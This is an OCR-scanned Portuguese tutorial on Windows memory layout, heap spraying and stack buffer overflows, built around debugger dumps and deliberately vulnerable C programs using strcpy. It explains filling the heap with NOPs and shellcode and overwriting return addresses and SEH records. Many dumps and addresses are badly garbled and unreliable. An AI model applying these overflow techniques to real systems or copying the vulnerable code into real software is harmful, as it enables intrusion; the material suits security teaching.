Duh! Podemos ver que a memoria estah cheia de ABCDEFGH... O !mona ¢ tao poderoso que vocé
apenas precisa fornecer a ele um trecho da string que ele se encarrega de encontra-la por completo
no dumping. Saber isso ¢ muito, muito importante }; )

SafeSEH: True, 05: True, w20E1,12.4414,258 (C:~WIMDOWS~swstem32-COMRes.dl L]
b, SafeSEH: True, 05: True, Ww8.00.568727.762 (Ci~WIHDOWS-WinSHS~s86_Microsoft..UCEE. CRT_1fc8b3b9ale18e
SafeSEH: True, 05z True, wE. 8@, 2980, 213860 (C:-~WINDOWS~swstemI32~urlmon.dll]
SafeSEH: True, 05: True, wE.1.2880.2128 (C:~WINDOWS-swstem32~MSASHL.dLL)
SafeSEH: True, 05: True, wG5.1.2668.3295 (Cr-~WIHDOWS-swstem3z2~S5H5.0LL)
. SafeSEH: True, 05: True, WE,1.2660.3295 (C:~WINDOWS~swstem32~5X5.0LL)
False, Rebase: False, SafeSEH: True, 051 True, w&.80.2900.2188 (C:-WIHDOWS~swstem3Z~WIHIMET.dL L]
s, SafeSEH: True, 05: True, wE.1.2608.2188 (Cz~WIMDOWS~swstem3Z2-~WIMMM.ALL]
alse, SafeSEH: True, 05: True, wE.1.26008.2128 (C:~WINDOWS~swstem32~USEREMU.JLL)
False, Rebase: False, SafeSEH: True, 05: True, wv&.@ [(Cr-~WIHDOWS-MWinSsS5~a86_Microsoft.Windows. Commo
SafeSEH: True, 052 True, wb.1.26686.2188 (Cr-~WIMDOWS-system3z2~ole3d2.dl L
SafeSEH: True, 05: True, wE.l.2608.2188 (Ci~WIMDOWS-swstem3Z~ntdll.dll]
SafeSEH: True, 05: True, wE.1.2608.2188 (Cz~WIMDOWS~swstem3Z2~ntdll.dll]

False, SafeSEH: True, 05%: True, wE.l.2600.2188 (C:-~WIHDOWS-~swstem3Z~kernel3Z2.dLL)
alse, SafeSEH: True, 05: True, W5.6.0.85828 (C:~WINDOWS~swstem3Z~jscript.dl
bl=e, SafeSEH: True, 05: True, wBE.1.2680,2128 [(Ci=WIHDOWS-system32-IJSER22. g

hlse, SafeSEH: True, 05: True, wB.1.2660.2188 (C:-~WINDOWS-swstem32~USERIZ.

3
L
L
L

1
1

Mas espere, nem uma das ocorrencias eh concernente a [Heap]. Entao, onde estah localizada nossa
string na memoria? Sabemos que nossa string eh alocada na heap, apenas analisando as APIs (ou
Bibliotecas/Libraries - apenas sinonimos) que sdo carregadas na memoria em tempo de execucao.
[Um bom embasamento pra vocé se calcar nesse inferimento sdo as funcoes contidas nessas, no qual
podem ser vistas usando o Immunity ou com a tool que o Dark side codou. O que sabemos tambem
devido a algum conhecimento previo (seja em um dos meus outros documentos ou videos sobre
invasao) que, a memoria trabalha no que costumamos chamar de LIFO (last in, first out .vide a
deleitosa phrack), ou seja, ultimo dentro, primeiro fora. Seguindo esse conceito lembramos que aj
funcao unescape() foi escrita com o proposito de lidar com ambientes (LIFO), ou seja, podemos
inferir que a mesma segue esse consenso. Com esse ponto de partida chegamos a seguinte mutua|
conclusao de organizacao de bytes na memoria:

41 42 43 44 45 46 47 45
LA B C I E F & H

Bi IC FE HG

a primeira linha veremos o correspondente a cada letra ASCII descrita abaixo. Mas por que dois
pares de 1 bytes?

Lembramos entdo que unicode aloca dois bytes para cada caractere, como j& vimos no dumping da
memoria (42 00




Crie um arquivo com um nome qualquer, o de minha preferencia eh unicodekimeratest.txt logo apds
sete a codificacao do mesmo para Unicode. E veja em suas propriedades o tamanho.

Local:
Tamanho:

Tamanho em disco: 4,00 K

Voce se pergunta agora, como um arquivo sem nada dentro pode pesar 2 bytes? O que acontece ¢é
que a formatacao (que nada mais € do que uma “praparacao” para receber o caractere unicode) pesa
dois bytes. Vamos selecionar no mapa de caracteres do windows um caractere unicode.

IE""'"HE

o meu caso foi a letra siria sadhe, de codigo correspondente U+0728. Agora cole-o no arquivo
formatado para recebe-lo e logo em seguida analise suas propriedades.

Tamanho: 4 bytes (4 bytes)|

Tamanho em disco: 4,00 KB (4,096 bytes)

Jah que ndo se faz necessaria nenhuma formatacao previa de um arquivo de texto para comportar
ascii, cada caractere contido nele pesarah o seu correspondente em hexadecimal, ou seja, 1 byte
para cada dois digitos (\x41). Execute o arquivo.

Arquivo  Editar Formatar  Exibir  Ajuda

O

O notepad.exe nao da suporte a unicode, mas isso nao quer dizer que outro editor de texto ndo possa
le-lo perfeitamente.




E se tentarmos procurar por:

BEA DC FE HG

Aplicando o conceito de LIFO no mais extremo sentido (por sinal) da palavra. Sera que acabaremos
encontrando a string na heap?

Mona command started on 2812-86-38 11:45:49 (wl.3-dew, rew 166]
HEADFEE0 Processing arguments and criteria
BEADFSE0 - Pointer access lewel 1 #
HEADFEE0 - Expanded ascii pattern to unicode, switched search mode to bin
BEADFSE0 = Treating search pattern as bin
HEADFEE0 Searching from BHBBBEBBBE to BH?FFFFFFF
BEADFSE0 Freparing log file "find.tag’
HEADFEE0 —= [Relsetting logfile find.tHt
BERADFEED0 Generating module info table, hang on...
HEADFEE0 - Processing modules
HEADFEE0 — Done. Let®s rock "n roll.

HEADOFBA0
Thiz mona.py action took B:E8:Q2, 265E860A

BADCFEHG" -unicode =< *

Oxi, ndo era uma string no formato unicode? Por que nao a encontrei? O que acontece ¢ que se o
mona (como todo o windows) ndo detectarem nenhuma sequencia unicode nos bytes inseridos eles
interpretam os dados como sendo apenas ASCII —' por mais que os dados estejam “‘estruturados”
(entre aspas mesmo) em unicode, mas isso € tao obvio que chega a dar nos nervos. Nao vai adiantar
procurar por unicode se apenas existe ASCII na string. Nao??

BEADF &30 - Done. Let's cock "n oroll.

BEADF@E0| [+]1 Weiting results to find.tat

BEADF &30 = Mumber of pointers of tywpe ""BAOCFEHG™" @ 1

BEADFAA0| [+] FResults @

SEABEEEE BEA147Ff4 @ "BAOCFEHG™ | startnull L{PAGE_RERDWRITE} [Monel [Heapl
[+] Thi= mona.py action took B:80:02,9520680

511
BE26905C
BEZEA0E4
BE2EI0EC
BE283074
BE2E307C
BE2a3024
BEZE302C
GE269094
BEa2a303c
BE2E30R4
BE2a20ARC A .
BE2E30E4 44,
GE2620BC [505)
BEZEI0CE EF .DO.%
C EA ¥

Pronto, descoberta uma falha crucial de seguranca. Foi isso que o Skylined descobriu. O conceito
por tras do Heap Spraying ¢ justamente esse descrito acima, ou seja, preenchemos (spraying) a heap
com a instrucao assembly NOP (opcode correspondente: \x90), que como os senhores ja sabem ¢
uma instrucao que quando executada nao faz nada (NOP NoOPeration/Sem operacao), nesse caso
em especial ¢ usada apenas para ocupar espacao na memoria (1 byte cada NOP, \x90 no caso).
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Logo em seguida inserimos o shellcode (NOP + Shellcode) que € o que de fato vai rodar alguma coisa
na maquina que vai ser invadida. A escolha do mesmo eh subjetiva, ou seja, vocé pode rodar um
shellcode que abra uma porta TCP, baixe e execute uma backdoor de port knocking (que nao abre
porta alguma), ou pode simplesmente rodar um shellcode que executa algum comando do windows.
Com a memoria devidamente sprayiada com NOPs e Shellcode vamos engatilhar a falha, ou seja,
encher o stack frame da funcao da aplicacao vulneravel que ndo controla dado devidamente de
digitos de 1 byte *AAAAAAAAs ou BBBBBBBBBs ou seja lah o que* ateh alcangarmos o retorno
da aplicacao. A quantificacao se da na maioria dos casos de forma *muito* prolixa, mas sempre
com a pretencao de alcancar o ret dos programas vulneraveis.Saber isso eh crucial para lidar com
framework fuzzers. Eh esse mesmo retorno que vai apontar para o inicio do NOPS localizados na
Heap, fazendo a memoria pular de byte em byte (e ndo fazer nada alem disso) ateh alcancar o
shellcode e rodar algo malicioso na maquina invadida. Lembrando que instrucoes tambem seguem o
mesmo conceito de armazenamento de bytes (um pouco obvio demais ——).

Heap

0Ox0cOcOcOc:
tsprﬂ‘r“ﬂ Ox0cDcOcl c: é
Ox0cODcDc?c:

Ox0c0cOc3c:
Ox0cOcODcOc:

Stack

Veja esse exemplo.:

FLAE1234
FLoE1 235
FLE1 236
FLCoE1 23y

Frarad 200

O endereco 7c90123~ guarda “uma” instrucao NOP, ou seja, opcode 90 (dois digitos em hexa), no
qual equivale a 1 unico byte na memoria. Entao podemos inferir que o proximo endereco serah
7C90123° e o sequente a este 7c90123+. Observe tambem, a “traducao” dessa instrucao/Opcode
(operational code — codigo operacional), ou o que nos costumamos chamar de “disassemble”
(correspondente ao opcode 90) estah logo ao lado, em verde; *notar* o disassemble ¢ importante
pra quem ta comecando a escrever softwares em assembly (nunca mecha com os kras da THC, esses
coroas sao maus).A stack possui a peculiaridade de crescer de 4 em quatro bytes convergindo em
direcao a enderecos baixos (isso quer dizer que ela trabalha decrementando as unidades adjacentes
hexadecimais ao endereco corrente de 'F' a '0' (mas na pratica esses enderecos sdo reservados —
0x00000006 e Ox (fftftff). Tanto € que essa stack abaixo no endereco 0282FFEC,
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rCASEVRS £ RETURH to ntdll.7CRSE7AS fr
B222FFOE  CAGEEEES &,
B232FF04  BREEEEE4
G222FFDS  BE008E61
BZEZFFOC  B2EZFFDA ]
B22ZFFEE  FCOFCEDD I ntdll. FCOFCE0s
BZ22FFE4 FFFFFFFF End of SEH chain
B232FFES  FCY9BEELS =i SE handler
B222FFEC FCOL@FCE =. ntdll.7C9ERTCE
B232FFFR  BREEEE3E
B222FFF4  CREEEEEE ...
B232FFFS  Dagoaaas ...
B222FFFC  DREEEEEE ...

Propiciando o crescimento (pra baixo, como vocé ja sabe) somente de 4 em 4 bytes.

SB530E5E PiSE
BEZZFF24 24615322 2cB3
BEZZFFE2 OOEEEEEA ....
HEZZFFSC  OOaaa8aas ....
BEZZFF9E  BEEEEEE1 8...
BEZZFF24  COOEEEEE ...
BEZZFF92  BECEEDAA .rmira
BEZZFFIC  SAS3D16F obsSG
ARZZEERR  BEEEEER] @, ..
BEZ2FFA4] [BEZ2FFE4]4 ™.

0022FFA4 era o topo da stack, depois da subtracao normal do stack frame passou a ser a base. Um|
fato que me chama a atencao eh que todas as vezes que jogamos dados sobressalentes sobre o topo
da stack (0282FFCC) , @ memoria tambem tomara o topo da stack como base para|
crescer em direcao divergente a execucao normal;

bl e— — ————————————————————
el d1414141 iEEE 42424242 Flsl SI5SE353 5555
BEZZFrcq  BESF41EE A7 BEZZFrs 41414141 BEZZFF74 42424242 EEEE
BEZZFF7S  BOZFZASS (#7. ARZZFFYS  BESFZAAE . #7. AEZZFF7E 41414141 AREA
AEZZFFFC  BE4adEad ) AEZZFFFC  AR4E4EE4 AEZZFFTL  GE4E4E68 . EE.
AEZZFFEE  BE404E8E AEZZFFER  BE4E4EEE . BEZZFFEE Q0404688 . EE.
BEZZFFE4  BEZZFF2S 4 ™. ARZZFF34  BEZZFF9E 4 ™. AAZZFFS4  BEZZFF2S § ™.
AEZZFFES FFFFFFFF AAZZFFES  FFFFFFFF AEZZFFES  FFFFFFFF

Observe que o topo dessa stack no overflow eh o endereco 0022FF70 e ¢ o endereco sequente que|
na realidade ¢ sobrescrito. O endereco de final 74 guardava 003F4100, e depois da insercao de mais
quatro bytes no code de overflow passou a ter 41414141. O de final 78, 003F2A98, depois
003F2A00 e depois por sua vez 41414141 e o de final C vocé ja sabe. Observe o screesh(Ot abaixo:

= [FPLI
ECx BSE3C ouerrunt . BE4E3E3C
ED BEEEHEEEE
EE @@@ad4o8a
ESF B822FF7A ASCII "ARRAAAAARRRRARRARRRRARRRARRRRARRAA

_——
BEZZFFES 41414141
BEZZFFEL

BH22FF 70 IS

ZEFFTS
Z2FFFC
41

4 4
SIFFSS
41

BEZZFF I8

BEZZFF 94

EEZEFFSE 41414141
BEZZFFIC 41414141
BEZZFFAR 41414141
EEZEZFFA4 41414141
GEZZFFAS 41414141
GEZZFFAC 41414141
BEZZFFEA 41414141
BAZEFFE4 41414141
BEZZFFES 41414141
BEZZFFEC 41414141
BAZEFFCA 41414141
BEZZFFCY 41414141
BEZZFFCE 41414141
EEZEFFCC 41414141
GEZZFFDE 41414141
GEZZFFO4 41414141
BEZZFFOE 41414141
GEZZFFOC 41414141
BEZZFFER 41414141 AR Fointer to next SEH record
BEZZFFES 41414141 SE handler
BAZEFFES 41414141 AR
BEZZFFEC 41414141
BEZZFFFA 41414141
EEZZFFF4 41414141
BEZZFFFS 41414141
BEZEZFFFC  BEEEAEEE .




O topo da stack s6 vai deixar de ser final zero quando “toda” (entre aspas) a memoria € sobrescrita.
esse caso acima faltam apenas 4 bytes para isso acontecer (veja o finalzinho).

Fi= = [FPL
ESF ObzzFF32

BEZZ2FF30 BE4E1328 WE, owverrunt.B88401320
HHZZ2FF34  HEEE4EEE (@, .
BESO0ESE . i
HEZZFFEC  BE481203 E4E, RETURH to overrunt.B@dbl1z203 frol
HHZZFF4H  BEZ2FF&d . ASCII ""HAAARRARRRRRRRRRRRRARARAAA
HEZZ2FF44  BE4E3888 .8E, ASCII "ARRRAARAAARARAARAARAAARRRRAARA
HEZZFF48  HE3F2ZA9S d#7.
HEZ22FF4C  BE4812B5 &#E, RETURM to owverrunt.B@d4b1ZBE frol
HEZZFFE0  BEEEEEES B. ..
BEZZ2FFS4  FFC1AEAD & RETURM to mswort.FFC1AEAD fram |
HHZZFFSE  HES9EESE i
HHZZFFEC  BEEEEE1E k...
HEZZFFEH  BE483888 .@E, ASCII "ARRARAAAAAAAAAARAAARRRRARARA
HHZZFF&d 41414141
HHZZ2FFES 41414141
HHZZFFEC 41414141
HEZZFFrE 41414141
BEZZFFrd 41414141
BEZZFFTE 41414141
HEHZZFFYC 41414141
HEZZFFEE 41414141
HEZZFFS4 41414141
HHZZFFES 41414141
HHZZ2FFEC 41414141
HEZZFF98 41414141
BEZZ2FF94 41414141
HEZZFF98 41414141
BEZZFFOC 41414141
HEZZFFAE 41414141
HEZZFFA4 41414141
HEZZ2FFAS 41414141
HEZZFFAC 41414141
HHZ22FFER 41414141
HHZZFFE4 41414141
BEZZFFES 41414141
HHZZFFEC 41414141
HEZZFFCH 41414141
HEZZFFC4 41414141
HHZZFFCE 41414141
HHZZ2FFCC 41414141
HEZZFFOE 41414141
HEZ2FFO4 41414141
HEZZFFOS 41414141
BEZZ2FFOC 41414141
HEZZFFER 41414141 Fointer to next SEH record
HHZZFFE4 41414141 5E handler
HHZZFFES 41414141 A

Assim alcancando o “inicio” da stack no processo normal e o fim, na exploracao.

BEZZFFOS 41414141 AARA

BEZZFFOC 41414141 AARA

HEZZFFEA 41414141 Fointer to next SEH record
BEZZ2FFE4 41414141 SE handler

BEZZFFES 41414141 A

BEZZFFEC 41414141

BEZZFFFE 41414141

BEZ2ZFFF4 41414141 }')

AR=2FFEES 41414141

BEZZFFFC | 41414141

os capitulos sequentes falaremos sobre SEH exploiting *ui* 133t. Os dados que sobressaem as
adjacencias da corrente sdo registrados assim:

FLCFCFCFC SHELLZZ2. YCFCFCEC
BE4E838HA ASCII "BEEEEEEEEEEE™
42424242

BEEa488a

BEZ22FF 35

BEZ2FFE2 ASCIT "ARRRARARRARAAARAF
BEFIEE 74

BEZZAEEA ASCIT "Acta ™
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Tenho um segredo pra quem gosta de fuzzing manual, para ver como os registradores se comportam
ao recebimento de dados. No Dev-C++ existe um contador na parte inferior da interface.

char *pointer="}

Certo, o que aquele 0022FFFC quer dizer? Isso quer dizer que o que costumamos chamar de “base
sequencial” de enderecamento (em hexadecimal) segue esse criterio: 0 — 4 — 8 — (. Observe que po
se iniciar em (, a base sequencial soh pode ser multipla de 4 bytes. Essa tabelinha que criei sempre
vai te ajudar a determinar a base sequencial das alocacoes, seja na heap ou na stack (da stack vocé
ja sabe p0). Atente que a Unica coisa que se faz necessaria para usar a tabela ¢ a marcacao do

digito (da direita pra esquerda) do endereco mais alto, da heap ou da stack. Basta que vocé
arraste a barra de rolagem ateh o final de ambas no Immunity para ver qual ¢ esse endereco, que no
caso da stack é sempre terminado em C .

123456759ABCDEF

4bytes

Observe nitidamente na stack acima que ateh mesmo os numeros “adjacentes” estao dispostos de 4
em 4 bytes (FFFFEEEEDDDD), que como mencionei “regridem” de F a 0, dando a entender que 4|
stack cresce pra baixo. A stack no Immunity costumeiramente ¢ localizada no canto inferior direito
da janela principal. Tambem eh atraves dessa regiao do debugger que verificaremos a base € o topo
de uma corrente SEH durante o processo de exploracao de um programa vulneravel.

B222FFCC BT
B22=FFDE | BEEEEEE5
B22zFFD4 | BEEE0EE4
AZ52FFOS | BEEEaaEE1
B22zFFOC | B222FFDA =
B22ZFFEB | FCO7PCEDS i “i
B22zFFE4 | FFFFFFFF
B22=FFES | YCIBEELS
B28zFFEC | FCOEEYCE '=-§
B22zFFFE | BEEEA0GEEE | ...
B2E2FFF4 | BEEEANGEEE | ...
BZ52FFFS | G0Ea058d [....
B282FFFC | BE@80GEEE ...

Se prestares bem sua atencao notarah o porque da base sequencial ser sempre multipla de 4 bytes.
Veja acima que a stack ndo lida com alocao de dados “diretamente”, mas sim com enderecos de
memoria, e apenas com eles. A stack opera em quatro em quatro bytes porque comporta
enderecos de memoria, ou seja, 0x 00 (cada dois digitos, 1 byte, e aih temos 8 deles, 4 bytes
(in hardware de 32 bits), mas a heap ndo. Ela trabalha de acordo com os bytes que serao alocados
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(instrucoes ou “ASCIIs”), mas sempre ordenando os tais de dois em dois bytes (unicode), por que
afinal de contas com unicode ela pode ler/acoplar qualquer coisa (vamos ver em seguida o porque
de eu saber iss0). Se estourarmos algum buffer em algum programa vulneravel com AAAAAAAs
em userland, a stack serah sobrescrita com 41414141414141 (seu correspondente em hex) em
“machineland” e merda acontece, porque o endereco de retorno do stack frame vai retornar (ao
inves de endereco de memoria) um monte de A.

#include <stdio.h> perereca.c
#include <string.h>

main () {

char stack[4];
char *pointer="AAAAAAAAAAAAAAAAAAA";
strcpy (stack, pointer);

@ 41414141 AAAA
BAZZFFFP4  BE414141 AARA.
BEZZFFFE BEIFZATE d#Y.
BEZZFFFC  BE4A46864 #EE. overrun. 38484064
CEZZFFE3E  Ba4a4880 . EBE, overrun. 38484806
BEZZFF24  BEZZFFI2 G ™.
BEZEFFE2  FFFFFFFF
CEZZFF3C  BEZZFF3C £ ™.
BEZZFFIE  BETIEETS t.u.
BEZZFF24  FFFOEEEE .04

T o e R L T ]

Uma coisa que sempre gosto de fazer quando to fuzando uma app ¢ analisar a dita soh no Immunity.
Nao perco tempo procurando indicios de overrun sem ta de olho na memoria, como crash ou
verificacao de excecao (sim, sou du undigrud).

overrun.exe

0 overrun.exe encontrou um problema e precisa ser
fechado.

Little Endian vs Big endian

Certo, vamos fugir um pouco do escopo do texto somente para explanar esses ordenamentos de
bytes. Acredito que todos voces se lembrem de como se da um overflow tradicional, de outra modo
reveremos (ndo precisa pular o capitulo, ¢ breve). A Corporagdo Vibora expediu uma otima
publicacao concernente a Stack Overflow sobre o0 W32 (procure no usrfiles; antigo hunterhacker do
tempo que eu era Kiddie). Talvez a qualidade justifique seu favoritismo junto a nossos documentos,
mas nao ¢ isso que esta em pauta aqui.




Como vocé pode averiguar nessa esplendida publicacao (sem demagogia eheh espero que tenham
gostado =), esqueci de mencionar o tamanho variavel do dummy.

Para alcancarmos o ret desse code acima nao se faz necessaria a insercao de dummie algum. Ou sejal
apenas precisamos encher o buffer da dados (|4 ]/ ) e sobrescrever a base do stack frame (ebp,
) ateh alcancarmos os 4 bytes do ret (eip) em azul ( cocacasz ) 7

FrAGEAEE | Modu les Cr~WIHDOWS~swstem32-CRYPTSZ. L1
FrEEEE06 | Moduy les Cr-WIMDOWS~system32~MSASHL. ALL
Frlagaed| Modu les Ca~WIMDOWS~swstem32-0LEAUTIZ2.d1 L
FC21H856| Hew thread with ID BEEEE0DEC created

EPE2ERER | [15:@5:29] HAococess wiolstion when edecuting [E2E25252]
IIlllllllllllllllllllllllllllllllllllllllllllllllll

Esse log (log window) mostra que ocorreu um erro de violacao de acesso when executing the
supposed “address” 52525252.

BEZ2FFE4 ASCII "ARAREEEERRRE™
BR4E3818 ASCIT "-LIBGCCWSZ2-EH-
SEEEEEEE
BEEESEEE
BEZZFF7AE
42424242
BETIEET 4
BRGIEEEE

ERE2E2E2

o gdb a sintaxe ¢ a seguinte:

(gdkb) r LALAEBEEERERER
Starting program: C:hlocuments and Settings David/programwal.exe
LA AREEEERREER

Program received =s=ignal 3IGIEGY, Segqmentation fault.
O0x52525252 in 27 ()

Vamos aumentar o buffer da aplicacao para o seu numero multiplo seguinte, ou seja ¢
abrir a mesma com o Immunity apds devidamente compilada. Seguiremos dessa vez o seguinte
criterio de enchimento.

= AAAAAAAA 8 bytes
Extended Base Pointer (ebp) = = BBBB
ret = RRRR  szgzess
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Registers [FPL) __ F———————
BEZZFFEE ASCIT "HHHHHHHHBBEEHHHH"
BE4823814 ret . BH4E3E
BEEAAEEER
BEEA4EEa
BEZZFFPE
42424242
BE7IEE "4
BEEIAEEE

CRAERPE2ER

Alcancamos outra vez o retorno com esse enchimento. Aumentamos agora para stack[12]. Sempre

[ FFPL

[]s]s]s]s]s]s]5]

TrOZE888 ISERZZ. PrOZ0008

BE3FEEES

[s]s]s]s]s]s]s]s]

BEZ22FESS

BE22FFS4

TCPEESEE ntdll.ZwTerminateFrosess
BEZ2FFEE

TC9H9EEY4 ntdll.KiFastSustenCal LRet
C @ ES BB22 32bit @(FFFFFFFF)

ada parece ter acontecido.O que houve? O compilador “para se adequar ao windows” inseriu um

dummy ao stack frame. Vamos saber identifica-lo agora.
GNU/Linux.

Stack[12]; = AAAAAAAAAAAA 12 bytes

Contador = NNNN ( )
Dummy = 8 bytes

Extended Base Pointer (ebp) BBBB
ret =

char *pointer="AAAAAAAAAAAANNNNDDDDDDDDBBBBRRRR";

Veja neste capitulo como identificar a multiplicidade do dummy. Para esse proposito inseri um
counter antes de 8 bytes do dummy de um buffer de [16] para toma-lo como ponto de partida e
fazer distincao dos mesmos dando a entender que sao unidades independentes uma da outra. Abra e
rode o prog dentro ja dentro do immunity (F9):

not readable.

isters [(FPU) 4 4 4
BEZZFFER ASCII "HHHHHHHHHHHHHHHHDDDDDDDDBBBBRRRR"
BE4E3824 ret . @04E3E24

BEEEEEEE

BEEESAEE

BEZ2FF TR

42424242

BEFIEE T4

BEeIEA5E

CREREPEs




Observe aih acima que o registrador EAX ¢ setado com o valor da variavel, ele costumeiramente
recebe o argumento argv[ 1] nos textos do dx/xgc eehehe (o kra manja muito).

2 dump UHICODE |
BEZ2FFEE
BEZZFFEE
HEZZFF7E
BEZZFFS6
BEZ2FFoa
BEZZFFAE
HEZZFFER
BEZ22FFCA
BE22FFOE
HEZZFFER
HEZZFFFE

Conseguimos mais uma vez sobrescrever os ponteiros da memoria ateh chegarmos na area ret.

'Vamos aumentar

o buffer seguindo aquele criterio da multiplicidade. Dessa vez ndo inseriremos

contador algum, com o intuito de acharmos algum padrao comum na analise.

DDDDDDDDBBBBRRRR";

SEAEEEEE
CEZ2FF7E
42424242
BEFI0ET4
HEE0EGE

E2E2E2E2

char stack[ ''];
char *pointer=

char stack[ '];
char *pointer=

char stack[ " ];
char *pointer=

char stack[ '];
char *pointer='

DDDDDDDDBBBB

DDDDDDDDBBBB "; (ID 63)

DDDDDDDDBBBB "; (ID 64)

DDDDDDDDBBBB "; (ID 65)

Aproxima sequencia para encher o buffer entdo serah 36 + a quantidade de Ns roseos onde estah o
Oi! Alih em cima + 8 de dummy + a base do stack frame + o retorno. Sempre nesse ciclo, certo?

Fegisters [(FPLUI

BEZZFF28
BE4E3844
BEEEEEEE
BEEE4EEE
BEZZFEVE
42424242
BEFIEE TS
BECIEECE

52525252

ASCIT "HARARFAARAARARAAARRAARAAA ARAARAARARARHHESHHHHHHHHO D DO DODDESEERRRR"™
Tt . BBEERD S

O bagulho eh facil manoh. Entao pra estourarmos o buffer[52]; devemos por sua vez entrar com o
DDDDDDDD, porque ¢ o sequente ao DDDDDDDD . Agora pense no N e D como
sendo a mesma coisa, pronto }=7
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PRl AE=2FF44 41414141
AEz2FF42 41414141
BEZZFF4C 41414141
BEZ2FFEE 41414141
BE22FFE4  4E4E4E4E
BEZ2FFE2  4E4E4E4E
AEZZFFEC  4E4E4E4E
BEZ2FFeE 44444444
BEZ2FFed 44444444
BEZZFFES 42424242

S2EZE2E2

BREEEEEE .. ..

BazIFa04a @7,
BEZZFFFS  BEIFZA9E 4

Muitas pessoas se perguntam o porque de se fazer necessario a insercao dos bytes referentes a
endereco de retorno de forma inversa. Isso se deve ao fato que chamamos de 'ordenamento de
bytes'. Eh o ordenamento que dita como os dados serao postos na memoria. Olha, esse assunto
causa muito confusao, mas a base ¢ a mesma, a simplicidade:

.Big Endian \xAB\xCD\xEF\x 10
.Little Endian \x10\xEF\xCD\xAB

Agora pode ler isso abaixo.

Algumas arquiteturas usam o ordenamento intitulado Big Endian, onde o “bit mais significante”
comes first/vem primeiro ou seja, se quisermos retornar um endereco nessa arquitetura como
0xABCDEF13, precisariamos entao escrever no exploit dessa maneira \xAB\xCD\xEF\x13, tendo
em vista a maior significancia das letras sequenciais sobre o numero. Em Little Endian € o processo
inverso, tendo em vista a prioridade do menos significante; arquiteturas intel. Isso quer dizer que se
quisermos retornar para o endereco (vamos supor) 00401290, deveriamos escrever no exploit

"\x90\x 12\x40\x00"; tendo em vista que o 00 € menos significant NAO SOh APENAS em seu nivel
hiererquico, mas tambem no que diz respeito ao posicionamento dos enderecos no ordenamento.

Enderecos altos 0x00401290

Bufter[3]; 00
Buffer[2]; 40 0ooo 0ooo

Buffer[1]; 12 {High <- Alta) (Low <- Baixa)
Buffer[0]: 90

Enderecos baixos 0040 1290

O processador vai entao rodar o ret adequadamente.

C:\DOCUME ~ 1% Dawi d=debug

-a

OD3C: 0100 INC AH

OD3C:0102 INC AL

osc:0lo04 «<--- [ENTER]
-t

&x=0100 BX=0000 Cx=0000 Dx=0000 3JP=FFEE EP=0000 3I=0000 DI=0000
Da=0D3C E3J=0D3C 23=0D3C CH=0D3C IP=0102 IM UF EI PL NZ Na PO NC
QD3C: 0102 FECO INC AL




-t

A¥=0101 BX=0000 Ck=0000 Dix=0000 3JF=FFEE EF=0000 3T=0000 DI=0000
D3=0D3C E3=0D3C 33=0D3C C3=0D3C IF=0104 NV UF EI PL NZ Hi PO NC
ODiC:0104 28520730 ATUE [BEP+5TI+3C07] 4L A3:3C07=00

—-rT

'Vamos determinar a base sequencial da heap desse code perereca.c acima (no qual nao faz uso daj
mesma), ou seja, apenas aloca dados na stack como todo bom prog },)

Address ex dump
HE4EZHEE
HE4HZEaS
BE4E2618
BE462615
BE462628
HE4EZE2E
HE4EZE3E
HE4HZE3E

BE4Ea2640
AAARDGRLS

Bastando olhar para a heap podemos inferir como ¢ dada a sua estruturacao de alocacao de bytes
(base sequencial de enderecamento). Usarei a tabelinha como base da explanacao. Observem abaixo
senhores que o que vamos chamar de agora em diante de “adjacentes”, na heap, se repetem duas
vezes, na stack se repetem 4, insinuando que a alocacao se da de quatro em quatro bytes. Observe
agora que, o endereco corrente vai de 8 (maior) a 4 (menor), veja o fim da heap:

i ex dump
HA4E2F5R
HE4EZFEE
HAa4E2F &R
Had4EzFes
HA4E2F Pl
HA4EZF e
BE4EZF 3R
Had4EzFas
HA4E2F 36
Ha4E2F 35
Ha4E2F AR
Ha4EzFAS
HAa4EZFBR
Ha4EzFBS
HA4E2FCH
Ha4EzFCE
BE4EZF DR
Had4EzF0s
HA4EZFER
HA4EZFES
HA4E2FFE
Ba4EzFFE

Repare alih que os enderecos adjacentes ao corrente sao decrementados partindo do maior numero
hexadecimal (a base numerica que o processador usa), ou seja, o F (FFEEDD, sempre regredindo e
em dois em dois, no caso da heap em especial, devido a peculiar caracteristica de manipulacao de
unicode). Entao podemos inferir com isso que ela cresce pra baixo tambem (base:00402000 to
top:00402FF8). De posse dessas informacoes montamos esse diagrama.
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Stack

Ou seja, sdo situadas em extremidades opostas e convergem na mesma direcao (se calque em suas
respectivas bases e topos para, de posse dessas informacoes, construir um diagrama melhor
concernente a essa contraversao). Se olhares de forma minuciosa junto ao endereco corrente
perceberah que a “pressuposta” inica forma mais coerente de alocacao para esse criterio (8 ¢ 0 ou 0
e 8) tendo a tabela como base, ¢ esta que se segue.

1234567 SOABCDEF

De oito em oito bytes. Voce agora fala. Hum... o fOx ta me sacaneado... Entao vamos provar (abrir
outro executavel qualquer para analisar sua heap). Escrevi um code que aloca dados na heap usando
malloc(); exclusivamente para esse proposito (alocar dados na heap para uma posterior analise);
como a funcao malloc(; ) Apenas por mutuo desencargo de consciencia.

#include
#include <stdlib.h> // malloc (si _ MINGW ATTRIB MALLOC;

#include <string.h / strcpy (che const char*);

main () {
char string[]="ABCDEFGHIJKLMNOPQSS", *pointer;
pointer=(char *)malloc (sizeof (char) * strlen(string)+1);

strcpy (pointer, string);
system ("pause");

ABCDEFGH IJKLMNOPQSS
01234567 89ABCDEF

Apenas pra fazer distincao dessa sequencia das outras que possam vir a existir tambem na memoria
(como vocé viu a algumas paginas), inseri junto ao termino da string as letras Ss.

C:\Documents and Settings\David\Desktop\oh shit'\heap.exe

Prezzione gualguer tecla para continuar.
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Prog rodando (copiado pra memoria) € a string ABCDEFGHIJKLMNOPQSS jah estah na heap, entao
vamos procurar por ela.

HEBADOFHEAD| [+]1 Results =
BE4E3IEAC BrE84E2868: ¢ ""MHMOPRSS™ | stactnull,ascii {PAGE_RERADOMLYY [hewmrrewms] A
HEAZ2ZFF4C BrE@z22f f4c @ "MHMOPRSS™ | stactnull {PRAGE_REAOWRITE} [Honsl [Stack]
SEEEEEEE BHEBSfIacc ¢ "MMOPRSS™ | stactnull {PAGE_REAOWRITE} C[Honel [Heapl

[+]1 This mona.py action took B:@d:@zZ. 452008

Foram encontradas duas ocorrencias da mesma string na memoria, uma na stack e outra na heap.
Lembre-se de que a(o) stack(stack frame) ¢ usada para armazenar enderecos de memoria de retorno
de funcoes e antes de mais nada valores de variaveis (char string[]), ou seja, antes de copiar a
